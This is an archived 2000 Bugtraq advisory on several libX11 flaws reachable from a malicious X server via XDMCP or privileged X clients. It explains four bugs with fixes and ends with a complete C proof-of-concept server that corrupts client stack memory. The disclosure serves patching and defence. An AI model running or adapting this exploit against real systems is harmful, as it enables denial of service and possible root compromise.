5211083 2000-06-20 01:54 /377 rader/ Postmaster Mottagare: Bugtraq (import) <11342> Ärende: XFree86: Various nasty libX11 holes ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: <Pine.LNX.4.21.0006192251480.9945-100000@ferret.lmh.ox.ac.uk> Date: Mon, 19 Jun 2000 23:51:30 +0100 Reply-To: Chris Evans <chris@FERRET.LMH.OX.AC.UK> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Chris Evans <chris@FERRET.LMH.OX.AC.UK> To: BUGTRAQ@SECURITYFOCUS.COM Hi, I'll summarize the impact and recommendations before I paste a mail which goes into technical details of the flaws. SUMMARY ======= Various coding flaws exist in libX11. Whilst this may not sound too serious, it is, for two reasons. They are 1) Various X client programs foolishly have privilege _and_ link against the X libraries. 2) Think of the XDMCP protocol. In a previous post I suggested it was _not_ a good idea from a security point of view. This is why. If someone is offering XDMCP services, I can get that host to connect an X client to a malicious X server of my choice. What code is processing responses that are under my control? Yep, libX11. Specific potential problems - suid-root xterm (how very 90's!) - maybe local root compromise - sgid tty or utmp xterm? - maybe inconvenient leak of group - xmtr - drops privs after allocating raw socket, but a raw socket leak is pretty serious in itself - running xdm? This is connecting X clients to you whilst running as root. COMMENTS ======== libX11 is a _large_ amount of lines of code, implementing a _large_ protocol. The code quality is good and security aware; lots of sanitization of network data is done. Lengths are distrusted etc. However what use is that in the face of a huge amount of code? Combine a very low security bug rate with masses of code, and you get flaws. Luckily, people are starting to realise that a good solution is to separate privileged portions of program out from the rest. And the privileged portion totally distrusts the client. Examples in RH6.x - privilege free xterm calls "utempter" program which updates /var/run/utmp in a distrustful manner - privilege free xlock/xscreensaver calls "pwdb_chkpwdb" which validates a username/password combination in a distrustful manner DETAILS ======= ... are appended Cheers Chris >From chris@ferret.lmh.ox.ac.uk Mon Jun 19 23:15:04 2000 Date: Tue, 30 May 2000 22:21:54 +0100 (BST) From: Chris Evans <chris@ferret.lmh.ox.ac.uk> Subject: Probably remote hole: libX11 Hi, Sorry again to interrupt the capabilities debate ;-) Version is RedHat6.1 XFree-3.3.5-3 I finally broke libX11. As a reminder, my intention is to demonstrate why xdmcp is a bad idea. It also demonstrates why xterm (or any other X app) suid or sgid anything is a bad idea. I did a relatively complete audit of the XOpenDisplay() function, and child functions. I was curious what damage a maliciously programmed "xserver" could do. I found four flaws, one very serious indeed. Anyone running _any_ xdmcp is in trouble - an xdmcp login screen will connect several X programs to our malicious X server using XOpenDisplay(). Here's the synopsis of the serious flaw #0 0x41414141 in ?? () #1 0x401133f1 in _XReply () from /usr/X11R6/lib/libX11.so.6 #2 0x401059bb in XOpenDisplay () from /usr/X11R6/lib/libX11.so.6 #3 0x4007d395 in XtOpenDisplay () from /usr/X11R6/lib/libXt.so.6 #4 0x4007d58f in _XtAppInit () from /usr/X11R6/lib/libXt.so.6 #5 0x400874da in XtOpenApplication () from /usr/X11R6/lib/libXt.so.6 #6 0x40087604 in XtAppInitialize () from /usr/X11R6/lib/libXt.so.6 #7 0x80574bd in strcpy () at ../sysdeps/generic/strcpy.c:30 #8 0x401a61eb in __libc_start_main (main=0x80571c0 <strcpy+46040>, argc=1, argv=0xbffffd34, init=0x804af88 <_init>, fini=0x8064f3c <_fini>, rtld_fini=0x4000a610 <_dl_fini>, stack_end=0xbffffd2c) at ../sysdeps/generic/libc-start.c:90 As you can see, we've wasted a function pointer or return address. If you tweak the exploit a bit, you can just as easily waste either. It's _not_ a simple buffer overflow - it's a subtle signed/unsigned bug leading to trashing of a few bytes of specific stack. We have moderate control over this. The main caveat of this hole is that the sign trip requires us to send about 4Gb of data in the middle of the exploit! On localhost this is minutes. Across a LAN, lots of minutes. Across the internet, hours if its a fast link otherwise forget it. This blemish is probably cirumventable by exploiting the same hole elsewhere in the X protocol. On to the flaws 1) memmove() segfault - probably not exploitable lib/X11/OpenDis.c, ~line 393 memmove (setup, u.vendor + vendorlen, (int) setuplength - sz_xConnSetup - vendorlen); Unfortunately, setuplength and vendorlen are from the network and overly trusted. If vendorlen is set big and setuplen small, then the above calculation will result in a negative value, and ~4Gb memmove => segfault. Luckily "vendorlen" and "setuplength" are 16 bit quantites otherwise we would have more precise control over the length of the memmove. Fix: check vendorlen is sane!! 2) Infinite loop - DoS an xdmcp serving machine with lots of 100% CPU X clients. lib/X11/OpenDis.c, ~line 373 mask = dpy->resource_mask; dpy->resource_shift = 0; while (!(mask & 1)) { dpy->resource_shift++; mask = mask >> 1; } Oh dear! "mask" is from the network. If it is set to "0", the while loop will never finish! Fix: Enclose while() loop in a "if (mask)" test. 3) Integer overflow - luck avoids corruption of malloc()'ed buffer lib/X11/OpenDis.c, ~line 571 if (reply.format == 8 && reply.propertyType == XA_STRING && (dpy->xdefaults = Xmalloc (reply.nItems + 1))) { _XReadPad (dpy, dpy->xdefaults, reply.nItems); reply.nItems is 32 bits unsigned and read from the network, so by setting to UINT_MAX, we overflow back to 0. X will then malloc(0) (or malloc(1) on systems where malloc(0) gives NULL). Luckily, the _XReadPad call fails to read ~4Gb (or indeed any) network data into the buffer, because readv() is used and the kernel is unimpressed about iov.iov_len==4Gb. 4) Nasty one - ability to corrupt bits of stack lib/X11/XlibInt.c, ~line 1810 in _XAsyncReply len = SIZEOF(xReply) + (rep->generic.length << 2); rep->generic.length is 32 bits unsigned, from the network len is an "int". We can force len to be negative which in turn causes all sorts of problems and stack corruption later on in _XAsyncReply. Fix: Probably in XlibInt.c, _XReply() - after reading the xReply structure, drop like a hot potato if rep->generic.length is suspiciously big - more than a few meg? CONCLUSIONS =========== Credit to the X team, here. libX11 actually looks like well written code. It is definitely readable compared with a lot of things I've audited ;-) However, although the quality of code and regard to security is not bad, the size of code is large, and that's the killer. Solution: discourage xdmcp services; DEFINITELY disable them by default if possible. Also, don't ship anything privileged linked to anything X. If you are you probably have a design flaw. See things like RedHat's privilege free xterm, rxvt, etc., as well as _small_ helpers such as pwdb_chkpwd and userhelper. I guess other bits of libX11 need auditing. I don't have the time myself. Demo xserver program follows. Run it, it'll listen on 6000. Set DISPLAY to localhost:0.0 and then run an xterm. Your mileage may vary, but I get segfault with EIP 0x41414141 Cheers Chris /* Chris Evans - demo of libX11 flaw. Tricky one this. */ /* Disclaimer - I haven't bothered to beutify this. It probably is tied * to little endian machines. Return values go unchecked, etc. ;-) */ #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> int main(int argc, const char* argv[]) { static int port = 6000; char sendbuf[32768]; char recvbuf[1024]; struct sockaddr_in local_addr; struct sockaddr_in remote_addr; int remote_addrlen; int listen_fd; int accept_fd; char c; short s; int i; unsigned int bigsend; listen_fd = socket(PF_INET, SOCK_STREAM, 6); local_addr.sin_family = AF_INET; local_addr.sin_addr.s_addr = INADDR_ANY; local_addr.sin_port = htons(port); bind(listen_fd, (struct sockaddr*)&local_addr, sizeof(local_addr)); listen(listen_fd, 1); accept_fd = accept(listen_fd, (struct sockaddr*)&remote_addr, &remote_addrlen); /* Read initial client connection packet */ read(accept_fd, recvbuf, 12); /* Absorb auth details */ s = * ((short*)&recvbuf[6]); s += * ((short*)&recvbuf[8]); read(accept_fd, recvbuf, s); /* Send back the nasty reply */ /* xConnSetupPrefix */ c = 1; /* CARD8 success: xTrue */ write(accept_fd, &c, 1); c = 0; /* BYTE lengthReason: 0 */ write(accept_fd, &c, 1); s = 11; /* CARD16: majorVersion: 11 */ write(accept_fd, &s, 2); s = 0; /* CARD16: minorVersion: 0 (irrelevant) */ write(accept_fd, &s, 2); s = (32 + 40) >> 2; /* CARD16: length (of setup packet) */ write(accept_fd, &s, 2); /* xConnSetup, 32 bytes */ i = 0; /* CARD32: release */ write(accept_fd, &i, 4); i = 0; /* CARD32: ridBase */ write(accept_fd, &i, 4); i = 1; /* CARD32: ridMask: 1. 0 causes 100% CPU */ write(accept_fd, &i, 4); i = 0; /* CARD32: motionBufferSize */ write(accept_fd, &i, 4); s = 0; /* CARD16: nbytesVendor */ write(accept_fd, &s, 2); s = 0; /* CARD16: maxRequestSize */ write(accept_fd, &s, 2); c = 1; /* CARD8: numRoots: need 1+ to work */ write(accept_fd, &c, 1); c = 0; /* CARD8: numFormats */ write(accept_fd, &c, 1); c = 0; /* CARD8: imageByteOrder */ write(accept_fd, &c, 1); c = 0; /* CARD8: bitmapBitOrder */ write(accept_fd, &c, 1); c = 0; /* CARD8: bitmapScanlineUnit */ write(accept_fd, &c, 1); c = 0; /* CARD8: bit:mapScanlinePad */ write(accept_fd, &c, 1); c = 0; /* KeyCode (CARD8): minKeyCode */ write(accept_fd, &c, 1); c = 0; /* KeyCode (CARD8): maxKeyCode */ write(accept_fd, &c, 1); i = 0; /* CARD32: pad */ write(accept_fd, &i, 4); /* xWindowRoot x 1 - 40 bytes */ /* Contains a "nDepths" - no further data needed if it's set to 0 */ memset(sendbuf, '\0', 40); write(accept_fd, sendbuf, 40); /* read 64 bytes of X requests */ /* From: * xCreateGC, 20 bytes + 4 bytes of values (i.e. 1) * xQueryExtention, 20 bytes - querying for big requests * xGetProperty, 24 bytes - querying for XA_RESOURCE_MANAGER */ read(accept_fd, recvbuf, 64); /* Reply to xQueryExtension - an async reply */ c = 1; /* type (BYTE): X_Reply (1) */ write(accept_fd, &c, 1); c = 0; /* varies */ write(accept_fd, &c, 1); s = 2; /* sequenceNumber (CARD16): 2nd */ write(accept_fd, &s, 2); i = -17; /* length (CARD32): signed games here */ write(accept_fd, &i, 4); i = 0x41414141; /* pad (CARD32); 6 of them */ /* NOTE - in this program's current form, it seems to be these values * which make their way onto the stack, overwriting a function pointer */ write(accept_fd, &i, 4); write(accept_fd, &i, 4); write(accept_fd, &i, 4); write(accept_fd, &i, 4); write(accept_fd, &i, 4); write(accept_fd, &i, 4); /* Now we've got to send a _lot_ of data back to the client - it's trying * to read ~4Gb, grrr. */ c = 0; bigsend = (unsigned int)-17; bigsend <<= 2; while (bigsend > 0) { unsigned int to_send = bigsend; if (to_send > 32768) { to_send = 32768; } write(accept_fd, sendbuf, to_send); bigsend -= to_send; if (!c) { printf("to_go: %u\n", bigsend); } c++; } /* Send another xreply - the first 28 bytes are read onto * the stack. */ /* NOTE - in its current form, these A's make their way to some unspecified * area of stack. In testing I've easily clobbered a return address with * these */ memset(sendbuf, 'A', 28); write(accept_fd, sendbuf, 28); memset(sendbuf, '\0', 32); /* First char of buffer, 0, represents X_Error */ write(accept_fd, sendbuf, 32); while(1); } (5211083) ------------------------------------------(Ombruten)